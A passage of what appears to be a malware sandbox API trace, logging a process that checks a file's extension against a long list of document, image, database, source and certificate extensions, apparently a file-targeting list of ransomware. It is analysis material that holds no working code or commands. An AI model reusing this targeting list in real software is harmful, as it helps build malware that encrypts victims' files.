cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0089.733] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0089.733] lstrlenW (lpString=".1cd") returned 4 [0089.733] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0089.733] lstrlenW (lpString=".3ds") returned 4 [0089.733] lstrcmpiW (lpString1=".3ds", lpString2=".mui") returned -1 [0089.733] lstrlenW (lpString=".3fr") returned 4 [0089.733] lstrcmpiW (lpString1=".3fr", lpString2=".mui") returned -1 [0089.733] lstrlenW (lpString=".3g2") returned 4 [0089.733] lstrcmpiW (lpString1=".3g2", lpString2=".mui") returned -1 [0089.733] lstrlenW (lpString=".3gp") returned 4 [0089.733] lstrcmpiW (lpString1=".3gp", lpString2=".mui") returned -1 [0089.733] lstrlenW (lpString=".7z") returned 3 [0089.733] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0089.733] lstrlenW (lpString=".accda") returned 6 [0089.733] lstrcmpiW (lpString1=".accda", lpString2="xe.mui") returned -1 [0089.733] lstrlenW (lpString=".accdb") returned 6 [0089.733] lstrcmpiW (lpString1=".accdb", lpString2="xe.mui") returned -1 [0089.733] lstrlenW (lpString=".accdc") returned 6 [0089.733] lstrcmpiW (lpString1=".accdc", lpString2="xe.mui") returned -1 [0089.733] lstrlenW (lpString=".accde") returned 6 [0089.733] lstrcmpiW (lpString1=".accde", lpString2="xe.mui") returned -1 [0089.734] lstrlenW (lpString=".accdt") returned 6 [0089.734] lstrcmpiW (lpString1=".accdt", lpString2="xe.mui") returned -1 [0089.734] lstrlenW (lpString=".accdw") returned 6 [0089.734] lstrcmpiW (lpString1=".accdw", lpString2="xe.mui") returned -1 [0089.734] lstrlenW (lpString=".adb") returned 4 [0089.734] lstrcmpiW (lpString1=".adb", lpString2=".mui") returned -1 [0089.734] lstrlenW (lpString=".adp") returned 4 [0089.734] lstrcmpiW (lpString1=".adp", lpString2=".mui") returned -1 [0089.734] lstrlenW (lpString=".ai") returned 3 [0089.734] lstrcmpiW (lpString1=".ai", lpString2="mui") returned -1 [0089.734] lstrlenW (lpString=".ai3") returned 4 [0089.734] lstrcmpiW (lpString1=".ai3", lpString2=".mui") returned -1 [0089.734] lstrlenW (lpString=".ai4") returned 4 [0089.734] lstrcmpiW (lpString1=".ai4", lpString2=".mui") returned -1 [0089.734] lstrlenW (lpString=".ai5") returned 4 [0089.734] lstrcmpiW (lpString1=".ai5", lpString2=".mui") returned -1 [0089.734] lstrlenW (lpString=".ai6") returned 4 [0089.734] lstrcmpiW (lpString1=".ai6", lpString2=".mui") returned -1 [0089.734] lstrlenW (lpString=".ai7") returned 4 [0089.734] lstrcmpiW (lpString1=".ai7", lpString2=".mui") returned -1 [0089.734] lstrlenW (lpString=".ai8") returned 4 [0089.734] lstrcmpiW (lpString1=".ai8", lpString2=".mui") returned -1 [0089.734] lstrlenW (lpString=".anim") returned 5 [0089.734] lstrcmpiW (lpString1=".anim", lpString2="e.mui") returned -1 [0089.734] lstrlenW (lpString=".arw") returned 4 [0089.734] lstrcmpiW (lpString1=".arw", lpString2=".mui") returned -1 [0089.735] lstrlenW (lpString=".as") returned 3 [0089.735] lstrcmpiW (lpString1=".as", lpString2="mui") returned -1 [0089.735] lstrlenW (lpString=".asa") returned 4 [0089.735] lstrcmpiW (lpString1=".asa", lpString2=".mui") returned -1 [0089.735] lstrlenW (lpString=".asc") returned 4 [0089.735] lstrcmpiW (lpString1=".asc", lpString2=".mui") returned -1 [0089.735] lstrlenW (lpString=".ascx") returned 5 [0089.735] lstrcmpiW (lpString1=".ascx", lpString2="e.mui") returned -1 [0089.735] lstrlenW (lpString=".asm") returned 4 [0089.735] lstrcmpiW (lpString1=".asm", lpString2=".mui") returned -1 [0089.735] lstrlenW (lpString=".asmx") returned 5 [0089.735] lstrcmpiW (lpString1=".asmx", lpString2="e.mui") returned -1 [0089.735] lstrlenW (lpString=".asp") returned 4 [0089.735] lstrcmpiW (lpString1=".asp", lpString2=".mui") returned -1 [0089.735] lstrlenW (lpString=".aspx") returned 5 [0089.735] lstrcmpiW (lpString1=".aspx", lpString2="e.mui") returned -1 [0089.735] lstrlenW (lpString=".asr") returned 4 [0089.735] lstrcmpiW (lpString1=".asr", lpString2=".mui") returned -1 [0089.735] lstrlenW (lpString=".asx") returned 4 [0089.735] lstrcmpiW (lpString1=".asx", lpString2=".mui") returned -1 [0089.735] lstrlenW (lpString=".avi") returned 4 [0089.735] lstrcmpiW (lpString1=".avi", lpString2=".mui") returned -1 [0089.735] lstrlenW (lpString=".avs") returned 4 [0089.735] lstrcmpiW (lpString1=".avs", lpString2=".mui") returned -1 [0089.735] lstrlenW (lpString=".backup") returned 7 [0089.735] lstrcmpiW (lpString1=".backup", lpString2="exe.mui") returned -1 [0089.736] lstrlenW (lpString=".bak") returned 4 [0089.736] lstrcmpiW (lpString1=".bak", lpString2=".mui") returned -1 [0089.736] lstrlenW (lpString=".bay") returned 4 [0089.736] lstrcmpiW (lpString1=".bay", lpString2=".mui") returned -1 [0089.736] lstrlenW (lpString=".bd") returned 3 [0089.736] lstrcmpiW (lpString1=".bd", lpString2="mui") returned -1 [0089.736] lstrlenW (lpString=".bin") returned 4 [0089.736] lstrcmpiW (lpString1=".bin", lpString2=".mui") returned -1 [0089.736] lstrlenW (lpString=".bmp") returned 4 [0089.736] lstrcmpiW (lpString1=".bmp", lpString2=".mui") returned -1 [0089.736] lstrlenW (lpString=".bz2") returned 4 [0089.736] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0089.736] lstrlenW (lpString=".c") returned 2 [0089.736] lstrcmpiW (lpString1=".c", lpString2="ui") returned -1 [0089.736] lstrlenW (lpString=".cdr") returned 4 [0089.736] lstrcmpiW (lpString1=".cdr", lpString2=".mui") returned -1 [0089.736] lstrlenW (lpString=".cer") returned 4 [0089.736] lstrcmpiW (lpString1=".cer", lpString2=".mui") returned -1 [0089.736] lstrlenW (lpString=".cf") returned 3 [0089.736] lstrcmpiW (lpString1=".cf", lpString2="mui") returned -1 [0089.736] lstrlenW (lpString=".cfc") returned 4 [0089.736] lstrcmpiW (lpString1=".cfc", lpString2=".mui") returned -1 [0089.736] lstrlenW (lpString=".cfm") returned 4 [0089.736] lstrcmpiW (lpString1=".cfm", lpString2=".mui") returned -1 [0089.736] lstrlenW (lpString=".cfml") returned 5 [0089.736] lstrcmpiW (lpString1=".cfml", lpString2="e.mui") returned -1 [0089.736] lstrlenW (lpString=".cfu") returned 4 [0089.737] lstrcmpiW (lpString1=".cfu", lpString2=".mui") returned -1 [0089.737] lstrlenW (lpString=".chm") returned 4 [0089.737] lstrcmpiW (lpString1=".chm", lpString2=".mui") returned -1 [0089.737] lstrlenW (lpString=".cin") returned 4 [0089.737] lstrcmpiW (lpString1=".cin", lpString2=".mui") returned -1 [0089.737] lstrlenW (lpString=".class") returned 6 [0089.737] lstrcmpiW (lpString1=".class", lpString2="xe.mui") returned -1 [0089.737] lstrlenW (lpString=".clx") returned 4 [0089.737] lstrcmpiW (lpString1=".clx", lpString2=".mui") returned -1 [0089.737] lstrlenW (lpString=".config") returned 7 [0089.737] lstrcmpiW (lpString1=".config", lpString2="exe.mui") returned -1 [0089.737] lstrlenW (lpString=".cpp") returned 4 [0089.737] lstrcmpiW (lpString1=".cpp", lpString2=".mui") returned -1 [0089.737] lstrlenW (lpString=".cr2") returned 4 [0089.737] lstrcmpiW (lpString1=".cr2", lpString2=".mui") returned -1 [0089.737] lstrlenW (lpString=".crt") returned 4 [0089.737] lstrcmpiW (lpString1=".crt", lpString2=".mui") returned -1 [0089.737] lstrlenW (lpString=".crw") returned 4 [0089.737] lstrcmpiW (lpString1=".crw", lpString2=".mui") returned -1 [0089.737] lstrlenW (lpString=".cs") returned 3 [0089.737] lstrcmpiW (lpString1=".cs", lpString2="mui") returned -1 [0089.737] lstrlenW (lpString=".css") returned 4 [0089.737] lstrcmpiW (lpString1=".css", lpString2=".mui") returned -1 [0089.737] lstrlenW (lpString=".csv") returned 4 [0089.737] lstrcmpiW (lpString1=".csv", lpString2=".mui") returned -1 [0089.737] lstrlenW (lpString=".cub") returned 4 [0089.738] lstrcmpiW (lpString1=".cub", lpString2=".mui") returned -1 [0089.738] lstrlenW (lpString=".dae") returned 4 [0089.738] lstrcmpiW (lpString1=".dae", lpString2=".mui") returned -1 [0089.738] lstrlenW (lpString=".dat") returned 4 [0089.738] lstrcmpiW (lpString1=".dat", lpString2=".mui") returned -1 [0089.738] lstrlenW (lpString=".db") returned 3 [0089.738] lstrcmpiW (lpString1=".db", lpString2="mui") returned -1 [0089.738] lstrlenW (lpString=".dbf") returned 4 [0089.738] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0089.738] lstrlenW (lpString=".dbx") returned 4 [0089.738] lstrcmpiW (lpString1=".dbx", lpString2=".mui") returned -1 [0089.738] lstrlenW (lpString=".dc3") returned 4 [0089.738] lstrcmpiW (lpString1=".dc3", lpString2=".mui") returned -1 [0089.738] lstrlenW (lpString=".dcm") returned 4 [0089.738] lstrcmpiW (lpString1=".dcm", lpString2=".mui") returned -1 [0089.738] lstrlenW (lpString=".dcr") returned 4 [0089.738] lstrcmpiW (lpString1=".dcr", lpString2=".mui") returned -1 [0089.738] lstrlenW (lpString=".der") returned 4 [0089.738] lstrcmpiW (lpString1=".der", lpString2=".mui") returned -1 [0089.738] lstrlenW (lpString=".dib") returned 4 [0089.738] lstrcmpiW (lpString1=".dib", lpString2=".mui") returned -1 [0089.738] lstrlenW (lpString=".dic") returned 4 [0089.738] lstrcmpiW (lpString1=".dic", lpString2=".mui") returned -1 [0089.738] lstrlenW (lpString=".dif") returned 4 [0089.738] lstrcmpiW (lpString1=".dif", lpString2=".mui") returned -1 [0089.738] lstrlenW (lpString=".divx") returned 5 [0089.739] lstrcmpiW (lpString1=".divx", lpString2="e.mui") returned -1 [0089.739] lstrlenW (lpString=".djvu") returned 5 [0089.739] lstrcmpiW (lpString1=".djvu", lpString2="e.mui") returned -1 [0089.739] lstrlenW (lpString=".dng") returned 4 [0089.739] lstrcmpiW (lpString1=".dng", lpString2=".mui") returned -1 [0089.739] lstrlenW (lpString=".doc") returned 4 [0089.739] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0089.739] lstrlenW (lpString=".docm") returned 5 [0089.739] lstrcmpiW (lpString1=".docm", lpString2="e.mui") returned -1 [0089.739] lstrlenW (lpString=".docx") returned 5 [0089.739] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0089.739] lstrlenW (lpString=".dot") returned 4 [0089.739] lstrcmpiW (lpString1=".dot", lpString2=".mui") returned -1 [0089.739] lstrlenW (lpString=".dotm") returned 5 [0089.739] lstrcmpiW (lpString1=".dotm", lpString2="e.mui") returned -1 [0089.739] lstrlenW (lpString=".dotx") returned 5 [0089.739] lstrcmpiW (lpString1=".dotx", lpString2="e.mui") returned -1 [0089.739] lstrlenW (lpString=".dpx") returned 4 [0089.739] lstrcmpiW (lpString1=".dpx", lpString2=".mui") returned -1 [0089.739] lstrlenW (lpString=".dqy") returned 4 [0089.739] lstrcmpiW (lpString1=".dqy", lpString2=".mui") returned -1 [0089.739] lstrlenW (lpString=".dsn") returned 4 [0089.739] lstrcmpiW (lpString1=".dsn", lpString2=".mui") returned -1 [0089.739] lstrlenW (lpString=".dt") returned 3 [0089.739] lstrcmpiW (lpString1=".dt", lpString2="mui") returned -1 [0089.739] lstrlenW (lpString=".dtd") returned 4 [0089.739] lstrcmpiW (lpString1=".dtd", lpString2=".mui") returned -1 [0089.739] lstrlenW (lpString=".dwg") returned 4 [0089.740] lstrcmpiW (lpString1=".dwg", lpString2=".mui") returned -1 [0089.740] lstrlenW (lpString=".dwt") returned 4 [0089.740] lstrcmpiW (lpString1=".dwt", lpString2=".mui") returned -1 [0089.740] lstrlenW (lpString=".dx") returned 3 [0089.740] lstrcmpiW (lpString1=".dx", lpString2="mui") returned -1 [0089.740] lstrlenW (lpString=".dxf") returned 4 [0089.740] lstrcmpiW (lpString1=".dxf", lpString2=".mui") returned -1 [0089.740] lstrlenW (lpString=".edml") returned 5 [0089.740] lstrcmpiW (lpString1=".edml", lpString2="e.mui") returned -1 [0089.740] lstrlenW (lpString=".efd") returned 4 [0089.740] lstrcmpiW (lpString1=".efd", lpString2=".mui") returned -1 [0089.740] lstrlenW (lpString=".elf") returned 4 [0089.740] lstrcmpiW (lpString1=".elf", lpString2=".mui") returned -1 [0089.740] lstrlenW (lpString=".emf") returned 4 [0089.740] lstrcmpiW (lpString1=".emf", lpString2=".mui") returned -1 [0089.740] lstrlenW (lpString=".emz") returned 4 [0089.740] lstrcmpiW (lpString1=".emz", lpString2=".mui") returned -1 [0089.740] lstrlenW (lpString=".epf") returned 4 [0089.740] lstrcmpiW (lpString1=".epf", lpString2=".mui") returned -1 [0089.740] lstrlenW (lpString=".eps") returned 4 [0089.740] lstrcmpiW (lpString1=".eps", lpString2=".mui") returned -1 [0089.740] lstrlenW (lpString=".epsf") returned 5 [0089.740] lstrcmpiW (lpString1=".epsf", lpString2="e.mui") returned -1 [0089.740] lstrlenW (lpString=".epsp") returned 5 [0089.740] lstrcmpiW (lpString1=".epsp", lpString2="e.mui") returned -1 [0089.740] lstrlenW (lpString=".erf") returned 4 [0089.740] lstrcmpiW (lpString1=".erf", lpString2=".mui") returned -1 [0089.740] lstrlenW (lpString=".exr") returned 4 [0089.741] lstrcmpiW (lpString1=".exr", lpString2=".mui") returned -1 [0089.741] lstrlenW (lpString=".f4v") returned 4 [0089.741] lstrcmpiW (lpString1=".f4v", lpString2=".mui") returned -1 [0089.753] lstrlenW (lpString=".fido") returned 5 [0089.753] lstrcmpiW (lpString1=".fido", lpString2="e.mui") returned -1 [0089.753] lstrlenW (lpString=".flm") returned 4 [0089.753] lstrcmpiW (lpString1=".flm", lpString2=".mui") returned -1 [0089.753] lstrlenW (lpString=".flv") returned 4 [0089.753] lstrcmpiW (lpString1=".flv", lpString2=".mui") returned -1 [0089.753] lstrlenW (lpString=".frm") returned 4 [0089.753] lstrcmpiW (lpString1=".frm", lpString2=".mui") returned -1 [0089.753] lstrlenW (lpString=".fxg") returned 4 [0089.753] lstrcmpiW (lpString1=".fxg", lpString2=".mui") returned -1 [0089.753] lstrlenW (lpString=".geo") returned 4 [0089.753] lstrcmpiW (lpString1=".geo", lpString2=".mui") returned -1 [0089.753] lstrlenW (lpString=".gif") returned 4 [0089.753] lstrcmpiW (lpString1=".gif", lpString2=".mui") returned -1 [0089.754] lstrlenW (lpString=".grs") returned 4 [0089.754] lstrcmpiW (lpString1=".grs", lpString2=".mui") returned -1 [0089.754] lstrlenW (lpString=".gz") returned 3 [0089.754] lstrcmpiW (lpString1=".gz", lpString2="mui") returned -1 [0089.754] lstrlenW (lpString=".h") returned 2 [0089.754] lstrcmpiW (lpString1=".h", lpString2="ui") returned -1 [0089.754] lstrlenW (lpString=".hdr") returned 4 [0089.754] lstrcmpiW (lpString1=".hdr", lpString2=".mui") returned -1 [0089.754] lstrlenW (lpString=".hpp") returned 4 [0089.754] lstrcmpiW (lpString1=".hpp", lpString2=".mui") returned -1 [0089.754] lstrlenW (lpString=".hta") returned 4 [0089.754] lstrcmpiW (lpString1=".hta", lpString2=".mui") returned -1 [0089.754] lstrlenW (lpString=".htc") returned 4 [0089.754] lstrcmpiW (lpString1=".htc", lpString2=".mui") returned -1 [0089.754] lstrlenW (lpString=".htm") returned 4 [0089.754] lstrcmpiW (lpString1=".htm", lpString2=".mui") returned -1 [0089.754] lstrlenW (lpString=".html") returned 5 [0089.754] lstrcmpiW (lpString1=".html", lpString2="e.mui") returned -1 [0089.754] lstrlenW (lpString=".icb") returned 4 [0089.754] lstrcmpiW (lpString1=".icb", lpString2=".mui") returned -1 [0089.754] lstrlenW (lpString=".ics") returned 4 [0089.754] lstrcmpiW (lpString1=".ics", lpString2=".mui") returned -1 [0089.754] lstrlenW (lpString=".iff") returned 4 [0089.754] lstrcmpiW (lpString1=".iff", lpString2=".mui") returned -1 [0089.754] lstrlenW (lpString=".inc") returned 4 [0089.754] lstrcmpiW (lpString1=".inc", lpString2=".mui") returned -1 [0089.754] lstrlenW (lpString=".indd") returned 5 [0089.754] lstrcmpiW (lpString1=".indd", lpString2="e.mui") returned -1 [0089.755] lstrlenW (lpString=".ini") returned 4 [0089.755] lstrcmpiW (lpString1=".ini", lpString2=".mui") returned -1 [0089.755] lstrlenW (lpString=".iqy") returned 4 [0089.755] lstrcmpiW (lpString1=".iqy", lpString2=".mui") returned -1 [0089.755] lstrlenW (lpString=".j2c") returned 4 [0089.755] lstrcmpiW (lpString1=".j2c", lpString2=".mui") returned -1 [0089.755] lstrlenW (lpString=".j2k") returned 4 [0089.755] lstrcmpiW (lpString1=".j2k", lpString2=".mui") returned -1 [0089.755] lstrlenW (lpString=".java") returned 5 [0089.755] lstrcmpiW (lpString1=".java", lpString2="e.mui") returned -1 [0089.755] lstrlenW (lpString=".jp2") returned 4 [0089.755] lstrcmpiW (lpString1=".jp2", lpString2=".mui") returned -1 [0089.755] lstrlenW (lpString=".jpc") returned 4 [0089.755] lstrcmpiW (lpString1=".jpc", lpString2=".mui") returned -1 [0089.755] lstrlenW (lpString=".jpe") returned 4 [0089.755] lstrcmpiW (lpString1=".jpe", lpString2=".mui") returned -1 [0089.755] lstrlenW (lpString=".jpeg") returned 5 [0089.755] lstrcmpiW (lpString1=".jpeg", lpString2="e.mui") returned -1 [0089.755] lstrlenW (lpString=".jpf") returned 4 [0089.755] lstrcmpiW (lpString1=".jpf", lpString2=".mui") returned -1 [0089.755] lstrlenW (lpString=".jpg") returned 4 [0089.755] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0089.755] lstrlenW (lpString=".jpx") returned 4 [0089.755] lstrcmpiW (lpString1=".jpx", lpString2=".mui") returned -1 [0089.755] lstrlenW (lpString=".js") returned 3 [0089.755] lstrcmpiW (lpString1=".js", lpString2="mui") returned -1 [0089.756] lstrlenW (lpString=".jsf") returned 4 [0089.756] lstrcmpiW (lpString1=".jsf", lpString2=".mui") returned -1 [0089.756] lstrlenW (lpString=".json") returned 5 [0089.756] lstrcmpiW (lpString1=".json", lpString2="e.mui") returned -1 [0089.756] lstrlenW (lpString=".jsp") returned 4 [0089.756] lstrcmpiW (lpString1=".jsp", lpString2=".mui") returned -1 [0089.756] lstrlenW (lpString=".kdc") returned 4 [0089.756] lstrcmpiW (lpString1=".kdc", lpString2=".mui") returned -1 [0089.756] lstrlenW (lpString=".kmz") returned 4 [0089.756] lstrcmpiW (lpString1=".kmz", lpString2=".mui") returned -1 [0089.756] lstrlenW (lpString=".kwm") returned 4 [0089.756] lstrcmpiW (lpString1=".kwm", lpString2=".mui") returned -1 [0089.756] lstrlenW (lpString=".lasso") returned 6 [0089.756] lstrcmpiW (lpString1=".lasso", lpString2="xe.mui") returned -1 [0089.756] lstrlenW (lpString=".lbi") returned 4 [0089.756] lstrcmpiW (lpString1=".lbi", lpString2=".mui") returned -1 [0089.756] lstrlenW (lpString=".lgf") returned 4 [0089.756] lstrcmpiW (lpString1=".lgf", lpString2=".mui") returned -1 [0089.756] lstrlenW (lpString=".lgp") returned 4 [0089.756] lstrcmpiW (lpString1=".lgp", lpString2=".mui") returned -1 [0089.756] lstrlenW (lpString=".log") returned 4 [0089.756] lstrcmpiW (lpString1=".log", lpString2=".mui") returned -1 [0089.756] lstrlenW (lpString=".m1v") returned 4 [0089.756] lstrcmpiW (lpString1=".m1v", lpString2=".mui") returned -1 [0089.756] lstrlenW (lpString=".m4a") returned 4 [0089.757] lstrcmpiW (lpString1=".m4a", lpString2=".mui") returned -1 [0089.757] lstrlenW (lpString=".m4v") returned 4 [0089.757] lstrcmpiW (lpString1=".m4v", lpString2=".mui") returned -1 [0089.757] lstrlenW (lpString=".max") returned 4 [0089.757] lstrcmpiW (lpString1=".max", lpString2=".mui") returned -1 [0089.757] lstrlenW (lpString=".md") returned 3 [0089.757] lstrcmpiW (lpString1=".md", lpString2="mui") returned -1 [0089.757] lstrlenW (lpString=".mda") returned 4 [0089.757] lstrcmpiW (lpString1=".mda", lpString2=".mui") returned -1 [0089.757] lstrlenW (lpString=".mdb") returned 4 [0089.757] lstrcmpiW (lpString1=".mdb", lpString2=".mui") returned -1 [0089.757] lstrlenW (lpString=".mde") returned 4 [0089.757] lstrcmpiW (lpString1=".mde", lpString2=".mui") returned -1 [0089.757] lstrlenW (lpString=".mdf") returned 4 [0089.757] lstrcmpiW (lpString1=".mdf", lpString2=".mui") returned -1 [0089.757] lstrlenW (lpString=".mdw") returned 4 [0089.757] lstrcmpiW (lpString1=".mdw", lpString2=".mui") returned -1 [0089.757] lstrlenW (lpString=".mef") returned 4 [0089.757] lstrcmpiW (lpString1=".mef", lpString2=".mui") returned -1 [0089.757] lstrlenW (lpString=".mft") returned 4 [0089.757] lstrcmpiW (lpString1=".mft", lpString2=".mui") returned -1 [0089.757] lstrlenW (lpString=".mfw") returned 4 [0089.757] lstrcmpiW (lpString1=".mfw", lpString2=".mui") returned -1 [0089.757] lstrlenW (lpString=".mht") returned 4 [0089.757] lstrcmpiW (lpString1=".mht", lpString2=".mui") returned -1 [0089.757] lstrlenW (lpString=".mhtml") returned 6 [0089.757] lstrcmpiW (lpString1=".mhtml", lpString2="xe.mui") returned -1 [0089.758] lstrlenW (lpString=".mka") returned 4 [0089.758] lstrcmpiW (lpString1=".mka", lpString2=".mui") returned -1 [0089.758] lstrlenW (lpString=".mkidx") returned 6 [0089.758] lstrcmpiW (lpString1=".mkidx", lpString2="xe.mui") returned -1 [0089.758] lstrlenW (lpString=".mkv") returned 4 [0089.758] lstrcmpiW (lpString1=".mkv", lpString2=".mui") returned -1 [0089.758] lstrlenW (lpString=".mos") returned 4 [0089.758] lstrcmpiW (lpString1=".mos", lpString2=".mui") returned -1 [0089.758] lstrlenW (lpString=".mov") returned 4 [0089.758] lstrcmpiW (lpString1=".mov", lpString2=".mui") returned -1 [0089.758] lstrlenW (lpString=".mp3") returned 4 [0089.758] lstrcmpiW (lpString1=".mp3", lpString2=".mui") returned -1 [0089.758] lstrlenW (lpString=".mp4") returned 4 [0089.758] lstrcmpiW (lpString1=".mp4", lpString2=".mui") returned -1 [0089.758] lstrlenW (lpString=".mpeg") returned 5 [0089.758] lstrcmpiW (lpString1=".mpeg", lpString2="e.mui") returned -1 [0089.758] lstrlenW (lpString=".mpg") returned 4 [0089.758] lstrcmpiW (lpString1=".mpg", lpString2=".mui") returned -1 [0089.758] lstrlenW (lpString=".mpv") returned 4 [0089.758] lstrcmpiW (lpString1=".mpv", lpString2=".mui") returned -1 [0089.758] lstrlenW (lpString=".mrw") returned 4 [0089.758] lstrcmpiW (lpString1=".mrw", lpString2=".mui") returned -1 [0089.758] lstrlenW (lpString=".msg") returned 4 [0089.758] lstrcmpiW (lpString1=".msg", lpString2=".mui") returned -1 [0089.758] lstrlenW (lpString=".mxl") returned 4 [0089.758] lstrcmpiW (lpString1=".mxl", lpString2=".mui") returned 1 [0089.758] lstrlenW (lpString=".myd") returned 4 [0089.759] lstrcmpiW (lpString1=".myd", lpString2=".mui") returned 1 [0089.759] lstrlenW (lpString=".myi") returned 4 [0089.759] lstrcmpiW (lpString1=".myi", lpString2=".mui") returned 1 [0089.759] lstrlenW (lpString=".nef") returned 4 [0089.759] lstrcmpiW (lpString1=".nef", lpString2=".mui") returned 1 [0089.759] lstrlenW (lpString=".nrw") returned 4 [0089.759] lstrcmpiW (lpString1=".nrw", lpString2=".mui") returned 1 [0089.759] lstrlenW (lpString=".obj") returned 4 [0089.759] lstrcmpiW (lpString1=".obj", lpString2=".mui") returned 1 [0089.759] lstrlenW (lpString=".odb") returned 4 [0089.759] lstrcmpiW (lpString1=".odb", lpString2=".mui") returned 1 [0089.759] lstrlenW (lpString=".odc") returned 4 [0089.759] lstrcmpiW (lpString1=".odc", lpString2=".mui") returned 1 [0089.759] lstrlenW (lpString=".odm") returned 4 [0089.759] lstrcmpiW (lpString1=".odm", lpString2=".mui") returned 1 [0089.759] lstrlenW (lpString=".odp") returned 4 [0089.759] lstrcmpiW (lpString1=".odp", lpString2=".mui") returned 1 [0089.759] lstrlenW (lpString=".ods") returned 4 [0089.759] lstrcmpiW (lpString1=".ods", lpString2=".mui") returned 1 [0089.759] lstrlenW (lpString=".oft") returned 4 [0089.759] lstrcmpiW (lpString1=".oft", lpString2=".mui") returned 1 [0089.759] lstrlenW (lpString=".one") returned 4 [0089.759] lstrcmpiW (lpString1=".one", lpString2=".mui") returned 1 [0089.759] lstrlenW (lpString=".onepkg") returned 7 [0089.759] lstrcmpiW (lpString1=".onepkg", lpString2="exe.mui") returned -1 [0089.759] lstrlenW (lpString=".onetoc2") returned 8 [0089.759] lstrcmpiW (lpString1=".onetoc2", lpString2=".exe.mui") returned 1 [0089.760] lstrlenW (lpString=".opt") returned 4 [0089.760] lstrcmpiW (lpString1=".opt", lpString2=".mui") returned 1 [0089.760] lstrlenW (lpString=".oqy") returned 4 [0089.760] lstrcmpiW (lpString1=".oqy", lpString2=".mui") returned 1 [0089.760] lstrlenW (lpString=".orf") returned 4 [0089.760] lstrcmpiW (lpString1=".orf", lpString2=".mui") returned 1 [0089.760] lstrlenW (lpString=".p12") returned 4 [0089.760] lstrcmpiW (lpString1=".p12", lpString2=".mui") returned 1 [0089.760] lstrlenW (lpString=".p7b") returned 4 [0089.760] lstrcmpiW (lpString1=".p7b", lpString2=".mui") returned 1 [0089.760] lstrlenW (lpString=".p7c") returned 4 [0089.760] lstrcmpiW (lpString1=".p7c", lpString2=".mui") returned 1 [0089.760] lstrlenW (lpString=".pam") returned 4 [0089.760] lstrcmpiW (lpString1=".pam", lpString2=".mui") returned 1 [0089.760] lstrlenW (lpString=".pbm") returned 4 [0089.760] lstrcmpiW (lpString1=".pbm", lpString2=".mui") returned 1 [0089.760] lstrlenW (lpString=".pct") returned 4 [0089.760] lstrcmpiW (lpString1=".pct", lpString2=".mui") returned 1 [0089.760] lstrlenW (lpString=".pcx") returned 4 [0089.760] lstrcmpiW (lpString1=".pcx", lpString2=".mui") returned 1 [0089.760] lstrlenW (lpString=".pdd") returned 4 [0089.760] lstrcmpiW (lpString1=".pdd", lpString2=".mui") returned 1 [0089.760] lstrlenW (lpString=".pdf") returned 4 [0089.760] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0089.760] lstrlenW (lpString=".pdp") returned 4 [0089.760] lstrcmpiW (lpString1=".pdp", lpString2=".mui") returned 1 [0089.761] lstrlenW (lpString=".pef") returned 4 [0089.761] lstrcmpiW (lpString1=".pef", lpString2=".mui") returned 1 [0089.761] lstrlenW (lpString=".pem") returned 4 [0089.761] lstrcmpiW (lpString1=".pem", lpString2=".mui") returned 1 [0089.761] lstrlenW (lpString=".pff") returned 4 [0089.761] lstrcmpiW (lpString1=".pff", lpString2=".mui") returned 1 [0089.761] lstrlenW (lpString=".pfm") returned 4 [0089.761] lstrcmpiW (lpString1=".pfm", lpString2=".mui") returned 1 [0089.761] lstrlenW (lpString=".pfx") returned 4 [0089.761] lstrcmpiW (lpString1=".pfx", lpString2=".mui") returned 1 [0089.761] lstrlenW (lpString=".pgm") returned 4 [0089.761] lstrcmpiW (lpString1=".pgm", lpString2=".mui") returned 1 [0089.761] lstrlenW (lpString=".php") returned 4 [0089.761] lstrcmpiW (lpString1=".php", lpString2=".mui") returned 1 [0089.761] lstrlenW (lpString=".php3") returned 5 [0089.761] lstrcmpiW (lpString1=".php3", lpString2="e.mui") returned -1 [0089.761] lstrlenW (lpString=".php4") returned 5 [0089.761] lstrcmpiW (lpString1=".php4", lpString2="e.mui") returned -1 [0089.761] lstrlenW (lpString=".php5") returned 5 [0089.761] lstrcmpiW (lpString1=".php5", lpString2="e.mui") returned -1 [0089.761] lstrlenW (lpString=".phtml") returned 6 [0089.761] lstrcmpiW (lpString1=".phtml", lpString2="xe.mui") returned -1 [0089.761] lstrlenW (lpString=".pict") returned 5 [0089.761] lstrcmpiW (lpString1=".pict", lpString2="e.mui") returned -1 [0089.761] lstrlenW (lpString=".pl") returned 3 [0089.761] lstrcmpiW (lpString1=".pl", lpString2="mui") returned -1 [0089.761] lstrlenW (lpString=".pls") returned 4 [0089.762] lstrcmpiW (lpString1=".pls", lpString2=".mui") returned 1 [0089.762] lstrlenW (lpString=".pm") returned 3 [0089.762] lstrcmpiW (lpString1=".pm", lpString2="mui") returned -1 [0089.762] lstrlenW (lpString=".png") returned 4 [0089.762] lstrcmpiW (lpString1=".png", lpString2=".mui") returned 1 [0089.762] lstrlenW (lpString=".pnm") returned 4 [0089.762] lstrcmpiW (lpString1=".pnm", lpString2=".mui") returned 1 [0089.762] lstrlenW (lpString=".pot") returned 4 [0089.762] lstrcmpiW (lpString1=".pot", lpString2=".mui") returned 1 [0089.762] lstrlenW (lpString=".potm") returned 5 [0089.762] lstrcmpiW (lpString1=".potm", lpString2="e.mui") returned -1 [0089.762] lstrlenW (lpString=".potx") returned 5 [0089.762] lstrcmpiW (lpString1=".potx", lpString2="e.mui") returned -1 [0089.762] lstrlenW (lpString=".ppa") returned 4 [0089.762] lstrcmpiW (lpString1=".ppa", lpString2=".mui") returned 1 [0089.762] lstrlenW (lpString=".ppam") returned 5 [0089.762] lstrcmpiW (lpString1=".ppam", lpString2="e.mui") returned -1 [0089.762] lstrlenW (lpString=".ppm") returned 4 [0089.762] lstrcmpiW (lpString1=".ppm", lpString2=".mui") returned 1 [0089.762] lstrlenW (lpString=".pps") returned 4 [0089.762] lstrcmpiW (lpString1=".pps", lpString2=".mui") returned 1 [0089.762] lstrlenW (lpString=".ppsm") returned 5 [0089.762] 